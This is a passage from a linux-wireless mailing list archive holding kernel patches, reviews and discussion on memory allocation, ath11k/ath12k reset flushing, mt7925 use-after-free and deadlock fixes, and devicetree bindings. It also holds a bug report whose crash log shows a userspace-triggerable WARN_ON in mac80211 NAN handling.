mutex_unlock(&dev->wl->mutex);
--
2.53.0
^ permalink raw reply related
* [PATCH net-next 0/8] drivers/net: replace __get_free_pages() with kmalloc()
From: Mike Rapoport (Microsoft) @ 2026-06-30 10:59 UTC (permalink / raw)
To: Andrew Lunn, David S. Miller, Eric Dumazet, Jakub Kicinski,
Paolo Abeni
Cc: Brian Norris, Edward Cree, Francesco Dolcini, Manish Chopra,
Mike Rapoport, Przemek Kitszel, Sudarsana Kalluru, Tony Nguyen,
b43-dev, intel-wired-lan, libertas-dev, linux-kernel, linux-mm,
linux-net-drivers, linux-wireless, netdev
This is a (small) part of larger work of replacing page allocator calls
with kmalloc.
My initial intention a few month ago was to remove ugly casts [1], but then
willy pointed out that Linus objected to something like this [2] and it
looks like more than a decade old technical debt.
Largely, anything that doesn't need struct page (or a memdesc in the
future) should just use kmalloc() or kvmalloc() to allocate memory.
kmalloc() guarantees alignment, physical contiguity and working
virt_to_phys() and beside nicer API that returns void * on alloc and
doesn't require to know the allocation size on free, kmalloc() provides
better debugging capabilities than page allocator.
Another thing is that touching these allocation sites gives the reviewers
opportunity to see if a PAGE_SIZE buffer is actually needed or maybe
another size is appropriate.
For larger allocations that don't need physically contiguous memory
kvmalloc() can be a better option that __get_free_pages() because under
memory pressure it's is easier to allocate several order-0 pages than a
physically contiguous chunk with the same number of pages.
And last, but not least, removing needless calls to page allocator should
help with memdesc (aka project folio) conversion. There will be way less
places to audit to see if the user was actually using struct page.
Also in git:
https://git.kernel.org/pub/scm/linux/kernel/git/rppt/linux.git gfp-to-kmalloc/drivers-net
[1] https://lore.kernel.org/all/20251018093002.3660549-1-rppt@kernel.org/
[2] https://lore.kernel.org/all/CA+55aFwp4iy4rtX2gE2WjBGFL=NxMVnoFeHqYa2j1dYOMMGqxg@mail.gmail.com/
---
Mike Rapoport (Microsoft) (8):
b43, b43legacy: debugfs: use kmalloc() to allocate formatting buffers
bnx2x: use kzalloc() to allocate mac filtering list
ice: use kzalloc() to allocate staging buffer for reading from GNSS
libertas: debugfs: use kzalloc() to allocate formatting buffers
mwifiex: debugfs: use kzalloc() to allocate formatting buffers
sfc/siena: use kmalloc() to allocate logging buffer
sfc: use kmalloc() to allocate logging buffer
wlcore: allocate aggregation and firmware log buffers with kzalloc()
drivers/net/ethernet/broadcom/bnx2x/bnx2x_sp.c | 6 +--
drivers/net/ethernet/intel/ice/ice_gnss.c | 5 +-
drivers/net/ethernet/sfc/mcdi.c | 7 +--
drivers/net/ethernet/sfc/siena/mcdi.c | 7 +--
drivers/net/wireless/broadcom/b43/debugfs.c | 12 ++---
drivers/net/wireless/broadcom/b43legacy/debugfs.c | 11 ++--
drivers/net/wireless/marvell/libertas/debugfs.c | 39 ++++++--------
drivers/net/wireless/marvell/mwifiex/debugfs.c | 62 ++++++++++-------------
drivers/net/wireless/ti/wlcore/main.c | 14 +++--
9 files changed, 73 insertions(+), 90 deletions(-)
---
base-commit: dc59e4fea9d83f03bad6bddf3fa2e52491777482
change-id: 20260616-b4-drivers-net-fc7f5b7e0a4c
Best regards,
--
Sincerely yours,
Mike.
^ permalink raw reply
* Re: [PATCH 2/2] wifi: ath12k: Flush the posted write after writing to PCIE_SOC_GLOBAL_RESET
From: Raj Kumar Bhagat @ 2026-06-30 9:54 UTC (permalink / raw)
To: Manivannan Sadhasivam, jjohnson
Cc: linux-wireless, ath12k, ath11k, linux-kernel, mani,
Alex Williamson
In-Reply-To: <20260623141649.41087-2-manivannan.sadhasivam@oss.qualcomm.com>
On 23-06-2026 19:46, Manivannan Sadhasivam wrote:
> ath12k_pci_soc_global_reset() tries to reset the device by writing to the
> PCIE_SOC_GLOBAL_RESET register. But it doesn't do a read-back to ensure
> that the write gets flushed to the device before the delay.
>
> This may lead to the delay on the host to be insufficient, if the posted
> write doesn't reach the device before the delay.
>
> So add a read-back after writing to the PCIE_SOC_GLOBAL_RESET register and
> before the delay.
>
> Compile tested only.
>
> Fixes: d889913205cf ("wifi: ath12k: driver for Qualcomm Wi-Fi 7 devices")
> Reported-by: Alex Williamson<alex@shazbot.org>
> Closes:https://lore.kernel.org/linux-pci/20260622160822.09350246@shazbot.org
> Signed-off-by: Manivannan Sadhasivam<manivannan.sadhasivam@oss.qualcomm.com>
> ---
> drivers/net/wireless/ath/ath12k/pci.c | 4 ++++
> 1 file changed, 4 insertions(+)
Reviewed-by: Raj Kumar Bhagat <raj.bhagat@oss.qualcomm.com>
^ permalink raw reply
* Re: [PATCH 1/2] wifi: ath11k: Flush the posted write after writing to PCIE_SOC_GLOBAL_RESET
From: Raj Kumar Bhagat @ 2026-06-30 9:45 UTC (permalink / raw)
To: Manivannan Sadhasivam, jjohnson
Cc: linux-wireless, ath12k, ath11k, linux-kernel, mani,
Alex Williamson
In-Reply-To: <20260623141649.41087-1-manivannan.sadhasivam@oss.qualcomm.com>
On 23-06-2026 19:46, Manivannan Sadhasivam wrote:
> ath11k_pci_soc_global_reset() tries to reset the device by writing to the
> PCIE_SOC_GLOBAL_RESET register. But it doesn't do a read-back to ensure
> that the write gets flushed to the device before the delay.
>
> This may lead to the delay on the host to be insufficient, if the posted
> write doesn't reach the device before the delay.
>
> So add a read-back after writing to the PCIE_SOC_GLOBAL_RESET register and
> before the delay.
>
> Compile tested only.
>
> Fixes: f3c603d412b3 ("ath11k: reset MHI during power down and power up")
> Reported-by: Alex Williamson<alex@shazbot.org>
> Closes:https://lore.kernel.org/linux-pci/20260622160822.09350246@shazbot.org
> Signed-off-by: Manivannan Sadhasivam<manivannan.sadhasivam@oss.qualcomm.com>
> ---
> drivers/net/wireless/ath/ath11k/pci.c | 4 ++++
> 1 file changed, 4 insertions(+)
Reviewed-by: Raj Kumar Bhagat <raj.bhagat@oss.qualcomm.com>
^ permalink raw reply
* Re: [PATCH 2/2] wifi: ath12k: Flush the posted write after writing to PCIE_SOC_GLOBAL_RESET
From: Raj Kumar Bhagat @ 2026-06-30 9:43 UTC (permalink / raw)
To: Manivannan Sadhasivam, jjohnson
Cc: linux-wireless, ath12k, ath11k, linux-kernel, mani,
Alex Williamson
In-Reply-To: <20260623141649.41087-2-manivannan.sadhasivam@oss.qualcomm.com>
On 23-06-2026 19:46, Manivannan Sadhasivam wrote:
> ath12k_pci_soc_global_reset() tries to reset the device by writing to the
> PCIE_SOC_GLOBAL_RESET register. But it doesn't do a read-back to ensure
> that the write gets flushed to the device before the delay.
>
> This may lead to the delay on the host to be insufficient, if the posted
> write doesn't reach the device before the delay.
>
> So add a read-back after writing to the PCIE_SOC_GLOBAL_RESET register and
> before the delay.
>
> Compile tested only.
>
> Fixes: d889913205cf ("wifi: ath12k: driver for Qualcomm Wi-Fi 7 devices")
> Reported-by: Alex Williamson<alex@shazbot.org>
> Closes:https://lore.kernel.org/linux-pci/20260622160822.09350246@shazbot.org
> Signed-off-by: Manivannan Sadhasivam<manivannan.sadhasivam@oss.qualcomm.com>
> ---
> drivers/net/wireless/ath/ath12k/pci.c | 4 ++++
> 1 file changed, 4 insertions(+)
Tested-on: QCN9274 hw2.0 PCI WLAN.WBE.1.6-01243-QCAHKSWPL_SILICONZ-1
Tested-by: Raj Kumar Bhagat <raj.bhagat@oss.qualcomm.com>
Validated with 25+ successful ath12k and ath12k_wifi7 module reload
(rmmod/insmod) cycles on QCN9274.
--
Raj Bhagat
^ permalink raw reply
* [PATCH v5 1/1] wifi: mt76: mt792x: fix use-after-free in mt76_rx_poll_complete
From: Eason Lai @ 2026-06-30 9:41 UTC (permalink / raw)
To: nbd, lorenzo
Cc: linux-wireless, linux-mediatek, Yf.Luo, kun.wu, deren.wu,
sean.wang, quan.zhou, ryder.lee, leon.yen, litien.chang, jb.tsai,
eason.lai, Eason Lai
From: Eason Lai <Eason.Lai@mediatek.com>
A use-after-free issue occurs in mt76_rx_poll_complete due to a race
condition. The STA has already been removed, but the rx_status still
had a pointer to the wcid in the STA.
Set the links' wcid pointers to be NULL for a MLD in
mt7925_sta_pre_rcu_remove()
BUG: KASAN: invalid-access in mt76_rx_poll_complete+0x280/0x470
Call trace:
dump_backtrace+0xec/0x128
show_stack+0x18/0x28
dump_stack_lvl+0x40/0xc8
print_report+0x1b8/0x710
kasan_report+0xe0/0x144
do_bad_area+0x120/0x260
do_tag_check_fault+0x20/0x34
do_mem_abort+0x54/0xa8
el1_abort+0x3c/0x5c
el1h_64_sync_handler+0x40/0xcc
el1h_64_sync+0x7c/0x80
mt76_rx_poll_complete+0x280/0x470
mt76_dma_rx_poll+0x114/0x51c
mt792x_poll_rx+0x60/0xf8
napi_threaded_poll_loop+0xe0/0x450
napi_threaded_poll+0x80/0x9c
kthread+0x11c/0x158
ret_from_fork+0x10/0x20
Fixes: c948b5da6bbe ("add Mediatek Wi-Fi7 driver for mt7925 chips")
Signed-off-by: Eason Lai <Eason.Lai@mediatek.com>
---
v2: fix mt76x02 build errors
v3: fix mt76x02 build error due to variable set but not used
v4: fix use-after-free in MLO
v5: correct commit message
---
.../net/wireless/mediatek/mt76/mt7925/main.c | 36 ++++++++++++++++++-
1 file changed, 35 insertions(+), 1 deletion(-)
diff --git a/drivers/net/wireless/mediatek/mt76/mt7925/main.c b/drivers/net/wireless/mediatek/mt76/mt7925/main.c
index 73d3722739d0..e3fb6392eda2 100644
--- a/drivers/net/wireless/mediatek/mt76/mt7925/main.c
+++ b/drivers/net/wireless/mediatek/mt76/mt7925/main.c
@@ -2410,6 +2410,40 @@ static void mt7925_channel_switch_rx_beacon(struct ieee80211_hw *hw,
}
}
+static void mt7925_sta_pre_rcu_remove(struct ieee80211_hw *hw,
+ struct ieee80211_vif *vif,
+ struct ieee80211_sta *sta)
+{
+ struct mt76_phy *phy = hw->priv;
+ struct mt76_dev *dev = phy->dev;
+ struct mt76_wcid *wcid = (struct mt76_wcid *)sta->drv_priv;
+
+ mutex_lock(&dev->mutex);
+ spin_lock_bh(&dev->status_lock);
+
+ if (ieee80211_vif_is_mld(vif)) {
+ struct mt792x_sta *msta = (struct mt792x_sta *)sta->drv_priv;
+ struct mt792x_vif *mvif = (struct mt792x_vif *)vif->drv_priv;
+ unsigned long valid = mvif->valid_links;
+ struct mt792x_link_sta *mlink;
+ unsigned int link_id;
+
+ for_each_set_bit(link_id, &valid, IEEE80211_MLD_MAX_NUM_LINKS) {
+ mlink = mt792x_sta_to_link(msta, link_id);
+ if (!mlink || !mlink->wcid.sta)
+ continue;
+ if (mlink->wcid.idx < ARRAY_SIZE(dev->wcid))
+ rcu_assign_pointer(dev->wcid[mlink->wcid.idx],
+ NULL);
+ }
+ } else {
+ rcu_assign_pointer(dev->wcid[wcid->idx], NULL);
+ }
+
+ spin_unlock_bh(&dev->status_lock);
+ mutex_unlock(&dev->mutex);
+}
+
const struct ieee80211_ops mt7925_ops = {
.tx = mt792x_tx,
.start = mt7925_start,
@@ -2422,7 +2456,7 @@ const struct ieee80211_ops mt7925_ops = {
.start_ap = mt7925_start_ap,
.stop_ap = mt7925_stop_ap,
.sta_state = mt76_sta_state,
- .sta_pre_rcu_remove = mt76_sta_pre_rcu_remove,
+ .sta_pre_rcu_remove = mt7925_sta_pre_rcu_remove,
.set_key = mt7925_set_key,
.sta_set_decap_offload = mt7925_sta_set_decap_offload,
#if IS_ENABLED(CONFIG_IPV6)
--
2.45.2
^ permalink raw reply related
* Re: [PATCH v2 2/2] dt-bindings: wireless: ath12k: drop qcom,ath12k-calibration-variant
From: Krzysztof Kozlowski @ 2026-06-30 9:14 UTC (permalink / raw)
To: Andrew LaMarche, Jeff Johnson
Cc: linux-wireless, ath12k, linux-kernel, Ernest Van Hoecke
In-Reply-To: <20260630011413.1424654-2-andrewjlamarche@gmail.com>
On 30/06/2026 03:14, Andrew LaMarche wrote:
> The ath12k-wsi binding documentation describes using the
> generation-specific qcom,ath12k-calibration-variant binding as well as
> the generation-agnostic qcom,calibration-variant binding to load
> board-specific calibration data from the device tree. However, the
> driver never implemented either of these.
But DTS did, which I removed. Probably this could be mentioned if it is
relevant.
Anyway:
Please use scripts/get_maintainers.pl to get a list of necessary people
and lists to CC. It might happen, that command when run on an older
kernel, gives you outdated entries. Therefore please be sure you base
your patches on recent Linux kernel.
Tools like b4 or scripts/get_maintainer.pl provide you proper list of
people, so fix your workflow. Tools might also fail if you work on some
ancient tree (don't, instead use mainline) or work on fork of kernel
(don't, instead use mainline). Just use b4 and everything should be
fine, although remember about `b4 prep --auto-to-cc` if you added new
patches to the patchset.
You missed at least devicetree list (maybe more), so this won't be
tested by automated tooling. Performing review on untested code might be
a waste of time.
Please kindly resend and include all necessary To/Cc entries.
Best regards,
Krzysztof
^ permalink raw reply
* Re: [PATCH v2 1/6] dt-bindings: net: bluetooth: Document Qualcomm IPQ5018 Bluetooth controller
From: Krzysztof Kozlowski @ 2026-06-30 9:09 UTC (permalink / raw)
To: Konrad Dybcio, George Moussalem, Kathiravan Thirumoorthy
Cc: Jens Axboe, Ulf Hansson, Rob Herring, Krzysztof Kozlowski,
Conor Dooley, Johannes Berg, Jeff Johnson, Bartosz Golaszewski,
Marcel Holtmann, Luiz Augusto von Dentz, Balakrishna Godavarthi,
Rocky Liao, Saravana Kannan, Andrew Lunn, Heiner Kallweit,
Russell King, David S. Miller, Eric Dumazet, Jakub Kicinski,
Paolo Abeni, Simon Horman, Bjorn Andersson, Konrad Dybcio,
Mathieu Poirier, Philipp Zabel, linux-block, linux-kernel,
linux-mmc, devicetree, linux-wireless, ath10k, linux-arm-msm,
linux-bluetooth, netdev, linux-remoteproc
In-Reply-To: <7348d7e6-18b3-4064-9fb2-932cce76816e@oss.qualcomm.com>
On 30/06/2026 11:06, Konrad Dybcio wrote:
> On 6/30/26 9:15 AM, Krzysztof Kozlowski wrote:
>> On Mon, Jun 29, 2026 at 05:01:44PM +0400, George Moussalem wrote:
>>> +unevaluatedProperties: false
>>> +
>>> +examples:
>>> + - |
>>> + #include <dt-bindings/clock/qcom,gcc-ipq5018.h>
>>> + #include <dt-bindings/interrupt-controller/arm-gic.h>
>>> + #include <dt-bindings/reset/qcom,gcc-ipq5018.h>
>>> +
>>> + bluetooth {
>>
>> Don't send new versions while discussion is still going. I need to
>> repeat my question - what bus does that sit on?
>>
>> Device nodes represent real devices. Real devices sit on a bus, usually.
>> Do you have here a bus?
>
> +Kathiravan would you know what the remoteproc-driven bluetooth is
> connected over on IPQ5018?
No need, this got resolved. I missed that this was merged with
remoteproc and remoteprocs we represent in top-level as it uses non-bus
way (APCS IPC or whatever its called). We could fix that and maybe this
should be a child of APCS... but maybe not and it feels like out of
scope of this patchset.
Best regards,
Krzysztof
^ permalink raw reply
* Re: [PATCH v2 1/6] dt-bindings: net: bluetooth: Document Qualcomm IPQ5018 Bluetooth controller
From: Konrad Dybcio @ 2026-06-30 9:06 UTC (permalink / raw)
To: Krzysztof Kozlowski, George Moussalem, Kathiravan Thirumoorthy
Cc: Jens Axboe, Ulf Hansson, Rob Herring, Krzysztof Kozlowski,
Conor Dooley, Johannes Berg, Jeff Johnson, Bartosz Golaszewski,
Marcel Holtmann, Luiz Augusto von Dentz, Balakrishna Godavarthi,
Rocky Liao, Saravana Kannan, Andrew Lunn, Heiner Kallweit,
Russell King, David S. Miller, Eric Dumazet, Jakub Kicinski,
Paolo Abeni, Simon Horman, Bjorn Andersson, Konrad Dybcio,
Mathieu Poirier, Philipp Zabel, linux-block, linux-kernel,
linux-mmc, devicetree, linux-wireless, ath10k, linux-arm-msm,
linux-bluetooth, netdev, linux-remoteproc
In-Reply-To: <20260630-wondrous-lean-stoat-be0b9a@quoll>
On 6/30/26 9:15 AM, Krzysztof Kozlowski wrote:
> On Mon, Jun 29, 2026 at 05:01:44PM +0400, George Moussalem wrote:
>> +unevaluatedProperties: false
>> +
>> +examples:
>> + - |
>> + #include <dt-bindings/clock/qcom,gcc-ipq5018.h>
>> + #include <dt-bindings/interrupt-controller/arm-gic.h>
>> + #include <dt-bindings/reset/qcom,gcc-ipq5018.h>
>> +
>> + bluetooth {
>
> Don't send new versions while discussion is still going. I need to
> repeat my question - what bus does that sit on?
>
> Device nodes represent real devices. Real devices sit on a bus, usually.
> Do you have here a bus?
+Kathiravan would you know what the remoteproc-driven bluetooth is
connected over on IPQ5018?
Konrad
^ permalink raw reply
* [PATCH] wifi: mt76: mt7925: Fix unregister deadlock
From: JB Tsai @ 2026-06-30 9:06 UTC (permalink / raw)
To: nbd, lorenzo
Cc: linux-wireless, linux-mediatek, Sean.Wang, Quan.Zhou, Ryder.Lee,
Leon.Yen, litien.chang, jb.tsai, Fei Shao
During device shutdown or removal, a deadlock can occur between the
PCIe remove path and the driver's asynchronous reset work.
The unregistration path calls napi_disable() before cancelling the
reset work. If the reset work runs concurrently, it may re-enable NAPI
and schedule it. Because the device is being unregistered, this can
lead to NAPI state corruption where NAPI is marked as scheduled but
never polled, causing subsequent napi_disable() calls to hang forever.
Fix this by:
1. Moving cancel_work_sync(&dev->reset_work) to the very start of
mt7925e_unregister_device(), ensuring it is stopped before NAPI
is disabled.
2. Setting the MT76_REMOVED flag early in the PCI remove path to
prevent new reset work from being queued.
3. Checking MT76_REMOVED in mt7925_mac_reset_work() and aborting the
reset early if the device is being removed.
Co-developed-by: Fei Shao <fshao@google.com>
Signed-off-by: JB Tsai <jb.tsai@mediatek.com>
---
drivers/net/wireless/mediatek/mt76/mt7925/mac.c | 7 +++++++
drivers/net/wireless/mediatek/mt76/mt7925/pci.c | 4 ++--
2 files changed, 9 insertions(+), 2 deletions(-)
diff --git a/drivers/net/wireless/mediatek/mt76/mt7925/mac.c b/drivers/net/wireless/mediatek/mt76/mt7925/mac.c
index 0641a7131d7c..1c6d43b162c0 100644
--- a/drivers/net/wireless/mediatek/mt76/mt7925/mac.c
+++ b/drivers/net/wireless/mediatek/mt76/mt7925/mac.c
@@ -1319,6 +1319,9 @@ void mt7925_mac_reset_work(struct work_struct *work)
cancel_work_sync(&pm->wake_work);
for (i = 0; i < 10; i++) {
+ if (test_bit(MT76_REMOVED, &dev->mt76.phy.state))
+ goto out;
+
mutex_lock(&dev->mt76.mutex);
ret = mt792x_dev_reset(dev);
mutex_unlock(&dev->mt76.mutex);
@@ -1338,8 +1341,12 @@ void mt7925_mac_reset_work(struct work_struct *work)
ieee80211_scan_completed(dev->mphy.hw, &info);
}
+out:
dev->hw_full_reset = false;
pm->suspended = false;
+ if (test_bit(MT76_REMOVED, &dev->mt76.phy.state))
+ return;
+
ieee80211_wake_queues(hw);
ieee80211_iterate_active_interfaces(hw,
IEEE80211_IFACE_ITER_RESUME_ALL,
diff --git a/drivers/net/wireless/mediatek/mt76/mt7925/pci.c b/drivers/net/wireless/mediatek/mt76/mt7925/pci.c
index ea64303283ed..978a3f08e080 100644
--- a/drivers/net/wireless/mediatek/mt76/mt7925/pci.c
+++ b/drivers/net/wireless/mediatek/mt76/mt7925/pci.c
@@ -43,13 +43,13 @@ static void mt7925e_unregister_device(struct mt792x_dev *dev)
if (dev->phy.chip_cap & MT792x_CHIP_CAP_WF_RF_PIN_CTRL_EVT_EN)
wiphy_rfkill_stop_polling(hw->wiphy);
+ cancel_work_sync(&dev->reset_work);
cancel_work_sync(&dev->init_work);
mt76_unregister_device(&dev->mt76);
mt76_for_each_q_rx(&dev->mt76, i)
napi_disable(&dev->mt76.napi[i]);
cancel_delayed_work_sync(&pm->ps_work);
cancel_work_sync(&pm->wake_work);
- cancel_work_sync(&dev->reset_work);
mt7925_tx_token_put(dev);
__mt792x_mcu_drv_pmctrl(dev);
@@ -498,8 +498,8 @@ static void mt7925_pci_remove(struct pci_dev *pdev)
struct mt76_dev *mdev = pci_get_drvdata(pdev);
struct mt792x_dev *dev = container_of(mdev, struct mt792x_dev, mt76);
- mt7925e_unregister_device(dev);
set_bit(MT76_REMOVED, &mdev->phy.state);
+ mt7925e_unregister_device(dev);
devm_free_irq(&pdev->dev, pdev->irq, dev);
mt76_free_device(&dev->mt76);
pci_free_irq_vectors(pdev);
--
2.45.2
^ permalink raw reply related
* [PATCH] wifi: mt76: mt7925: cancel pending mlo_pm_work
From: Wentao Guan @ 2026-06-30 9:02 UTC (permalink / raw)
To: lorenzo, sean.wang, mingyen.hsieh
Cc: quan.zhou, nbd, linux-wireless, linux-kernel, linux-mediatek,
Wentao Guan, stable
If the device is reset, suspended or unregistered within that window,
the pending work can still run and access vif/bss data that may already
be freed, or send MCU commands while the firmware is not available.
Add cancel_delayed_work_sync(&dev->mlo_pm_work) in all relevant teardown
and suspend paths:
- mt7925_mac_reset_work() (chip reset recovery)
- mt7925e_unregister_device() (PCIe unbind)
- mt7925_pci_suspend() (PCIe bus suspend)
- mt7925_suspend() (mac80211 suspend)
- mt7925u_suspend() (USB bus / runtime suspend)
This ensures the work is stopped before the device state becomes
invalid.
Assisted-by: kimi-cli:kimi-k2.7 code
Assisted-by: atomcode:glm-5.2 #Reported-by
Fixes: 276a568832577 ("wifi: mt76: mt7925: update the power-saving flow")
Cc: stable@vger.kernel.org
Signed-off-by: Wentao Guan <guanwentao@uniontech.com>
---
drivers/net/wireless/mediatek/mt76/mt7925/mac.c | 1 +
drivers/net/wireless/mediatek/mt76/mt7925/main.c | 1 +
drivers/net/wireless/mediatek/mt76/mt7925/pci.c | 2 ++
drivers/net/wireless/mediatek/mt76/mt7925/usb.c | 1 +
4 files changed, 5 insertions(+)
diff --git a/drivers/net/wireless/mediatek/mt76/mt7925/mac.c b/drivers/net/wireless/mediatek/mt76/mt7925/mac.c
index c47bd812b66b9..d56a846dec53e 100644
--- a/drivers/net/wireless/mediatek/mt76/mt7925/mac.c
+++ b/drivers/net/wireless/mediatek/mt76/mt7925/mac.c
@@ -1307,6 +1307,7 @@ void mt7925_mac_reset_work(struct work_struct *work)
cancel_delayed_work_sync(&dev->mphy.mac_work);
cancel_delayed_work_sync(&pm->ps_work);
+ cancel_delayed_work_sync(&dev->mlo_pm_work);
cancel_work_sync(&pm->wake_work);
for (i = 0; i < 10; i++) {
diff --git a/drivers/net/wireless/mediatek/mt76/mt7925/main.c b/drivers/net/wireless/mediatek/mt76/mt7925/main.c
index 73d3722739d0a..ab6c6565ca0f7 100644
--- a/drivers/net/wireless/mediatek/mt76/mt7925/main.c
+++ b/drivers/net/wireless/mediatek/mt76/mt7925/main.c
@@ -1602,6 +1602,7 @@ static int mt7925_suspend(struct ieee80211_hw *hw,
cancel_delayed_work_sync(&phy->mt76->mac_work);
cancel_delayed_work_sync(&dev->pm.ps_work);
+ cancel_delayed_work_sync(&dev->mlo_pm_work);
mt76_connac_free_pending_tx_skbs(&dev->pm, NULL);
mt792x_mutex_acquire(dev);
diff --git a/drivers/net/wireless/mediatek/mt76/mt7925/pci.c b/drivers/net/wireless/mediatek/mt76/mt7925/pci.c
index c4161754c01df..cfa91af065b78 100644
--- a/drivers/net/wireless/mediatek/mt76/mt7925/pci.c
+++ b/drivers/net/wireless/mediatek/mt76/mt7925/pci.c
@@ -42,6 +42,7 @@ static void mt7925e_unregister_device(struct mt792x_dev *dev)
mt76_for_each_q_rx(&dev->mt76, i)
napi_disable(&dev->mt76.napi[i]);
cancel_delayed_work_sync(&pm->ps_work);
+ cancel_delayed_work_sync(&dev->mlo_pm_work);
cancel_work_sync(&pm->wake_work);
cancel_work_sync(&dev->reset_work);
@@ -453,6 +454,7 @@ static int mt7925_pci_suspend(struct device *device)
dev->hif_resumed = false;
flush_work(&dev->reset_work);
cancel_delayed_work_sync(&pm->ps_work);
+ cancel_delayed_work_sync(&dev->mlo_pm_work);
cancel_work_sync(&pm->wake_work);
mt7925_roc_abort_sync(dev);
diff --git a/drivers/net/wireless/mediatek/mt76/mt7925/usb.c b/drivers/net/wireless/mediatek/mt76/mt7925/usb.c
index d9968f03856d8..7ba50c33cd32c 100644
--- a/drivers/net/wireless/mediatek/mt76/mt7925/usb.c
+++ b/drivers/net/wireless/mediatek/mt76/mt7925/usb.c
@@ -251,6 +251,7 @@ static int mt7925u_suspend(struct usb_interface *intf, pm_message_t state)
pm->suspended = true;
dev->hif_resumed = false;
flush_work(&dev->reset_work);
+ cancel_delayed_work_sync(&dev->mlo_pm_work);
mt76_connac_mcu_set_hif_suspend(&dev->mt76, true, false);
ret = wait_event_timeout(dev->wait,
--
2.30.2
^ permalink raw reply related
* [BUG REPORT] wifi: mac80211: userspace can trigger WARN_ON in ieee80211_add_nan_func()
From: Yue Sun @ 2026-06-30 8:57 UTC (permalink / raw)
To: Johannes Berg; +Cc: linux-wireless, linux-kernel
Hello,
I can reproduce a kernel warning in ieee80211_add_nan_func() on current
upstream master. The reproducer uses mac80211_hwsim to create a NAN-capable
radio, starts a NAN interface, and then sends NL80211_CMD_ADD_NAN_FUNCTION.
Summary
-------
The hwsim radio created with HWSIM_ATTR_SUPPORT_NAN_DEVICE advertises
WIPHY_NAN_FLAGS_USERSPACE_DE:
drivers/net/wireless/virtual/mac80211_hwsim_main.c:
hw->wiphy->nan_capa.flags = WIPHY_NAN_FLAGS_CONFIGURABLE_SYNC |
WIPHY_NAN_FLAGS_USERSPACE_DE;
nl80211_nan_add_func() validates the NAN function and calls
rdev_add_nan_func() without rejecting devices that have
WIPHY_NAN_FLAGS_USERSPACE_DE set.
mac80211 then reaches this invariant check:
net/mac80211/cfg.c:
if (WARN_ON(wiphy->nan_capa.flags & WIPHY_NAN_FLAGS_USERSPACE_DE))
return -EOPNOTSUPP;
So an ordinary nl80211 request against such a wiphy can trigger a kernel
WARNING. Systems with panic_on_warn=1 would panic.
Likely fix direction
--------------------
Reject NL80211_CMD_ADD_NAN_FUNCTION (and likely DEL_NAN_FUNCTION) in nl80211
when wiphy->nan_capa.flags has WIPHY_NAN_FLAGS_USERSPACE_DE set, or otherwise
turn the mac80211 WARN_ON into a non-warning error return if this path is
expected to be reachable from userspace input.
Tested kernel:
- tree: /home/sy/linux
- branch: master
- HEAD: dc59e4fea9d83f03bad6bddf3fa2e52491777482
- uname in guest: 7.2.0-rc1-dirty #15 PREEMPT(full)
- bzImage: /home/sy/linux/arch/x86/boot/bzImage mtime=2026-06-29T12:23:31+00:00
- vmlinux: /home/sy/linux/vmlinux mtime=2026-06-29T12:22:03+00:00
Reproducer stdout
-----------------
candidate=round3i_hwsim_nan_wdev_no_panic_on_warn
panic_on_warn_disabled=1
nl80211_family=38
create_hwsim_nan_radio=2
wiphy_dump=0 count=4
create_nan_iface(wiphy=3)=0 name=klrnan9303
created_ifindex=0
create_nan_iface(wiphy=2)=-95 name=klrnan9303
create_nan_iface(wiphy=1)=-95 name=klrnan9303
create_nan_iface(wiphy=0)=-95 name=klrnan9303
post_nan_create_iface_dump=0 count=4
nan_iface ifindex=0 wdev=0x300000002 iftype=12
start_nan(ifindex=0 wdev=0x300000002 iftype=12)=0
add_nan_function_256_empty_tx_filters(ifindex=0 wdev=0x300000002 iftype=12)=-95
Crash log
---------
[ 55.935664] ------------[ cut here ]------------
[ 55.936899] wiphy->nan_capa.flags & WIPHY_NAN_FLAGS_USERSPACE_DE
[ 55.936917] WARNING: net/mac80211/cfg.c:501 at ieee80211_add_nan_func+0x755/0x8f0, CPU#1: poc/9303
[ 55.940025] Modules linked in:
[ 55.941407] CPU: 1 UID: 0 PID: 9303 Comm: poc Not tainted 7.2.0-rc1-dirty #15 PREEMPT(full)
[ 55.943097] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[ 55.944742] RIP: 0010:ieee80211_add_nan_func+0x755/0x8f0
[ 55.945943] Code: c6 e8 0f 3e c6 f6 84 db 0f 85 91 fc ff ff e8 32 44 c6 f6 48 8d 3d 0b 2b ef 05 67 48 0f b9 3a e9 7b fc ff ff e8 1c 44 c6 f6 90 <0f> 0b 90 41 bc a1 ff ff ff e9 2e fd ff ff e8 08 44 c6 f6 90 0f 0b
[ 55.949426] RSP: 0018:ffffc90000627358 EFLAGS: 00010293
[ 55.951038] RAX: 0000000000000000 RBX: ffff8880489f0010 RCX: ffffffff8afaaeac
[ 55.952473] RDX: ffff888023033b80 RSI: ffffffff8afab504 RDI: 0000000000000005
[ 55.953912] RBP: ffff8880271bbb00 R08: 0000000000000000 R09: ffffed100913e15a
[ 55.955373] R10: 0000000000000002 R11: ffffffff81000130 R12: 0000000000000002
[ 55.956808] R13: 0000000000000001 R14: ffff888037cf0740 R15: ffff8880489f1e10
[ 55.958248] FS: 00000000092123c0(0000) GS:ffff8880d683e000(0000) knlGS:0000000000000000
[ 55.959860] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 55.961120] CR2: 00007ff4e81986f4 CR3: 000000004a924000 CR4: 00000000000006f0
[ 55.962563] Call Trace:
[ 55.963177] <TASK>
[ 55.963726] ? genlmsg_put+0x265/0x2e0
[ 55.964608] nl80211_nan_add_func+0x10a3/0x1990
[ 55.965630] ? __mutex_lock+0x27a/0x1d80
[ 55.966457] ? __pfx_nl80211_nan_add_func+0x10/0x10
[ 55.967442] ? __rtnl_unlock+0x68/0xf0
[ 55.968242] ? netdev_run_todo+0x9e1/0x14f0
[ 55.969112] ? __pfx___mutex_lock+0x10/0x10
[ 55.969979] ? mutex_is_locked+0x17/0x60
[ 55.970888] ? nl80211_pre_doit+0x120/0xa70
[ 55.971778] genl_family_rcv_msg_doit+0x1ff/0x2f0
[ 55.972740] ? __pfx_genl_family_rcv_msg_doit+0x10/0x10
[ 55.973802] ? bpf_lsm_capable+0x9/0x10
[ 55.974613] ? security_capable+0x210/0x250
[ 55.975494] genl_rcv_msg+0x532/0x7e0
[ 55.976274] ? __pfx_genl_rcv_msg+0x10/0x10
[ 55.977147] ? __pfx_nl80211_pre_doit+0x10/0x10
[ 55.978024] ? __pfx_nl80211_nan_add_func+0x10/0x10
[ 55.978877] ? __pfx_nl80211_post_doit+0x10/0x10
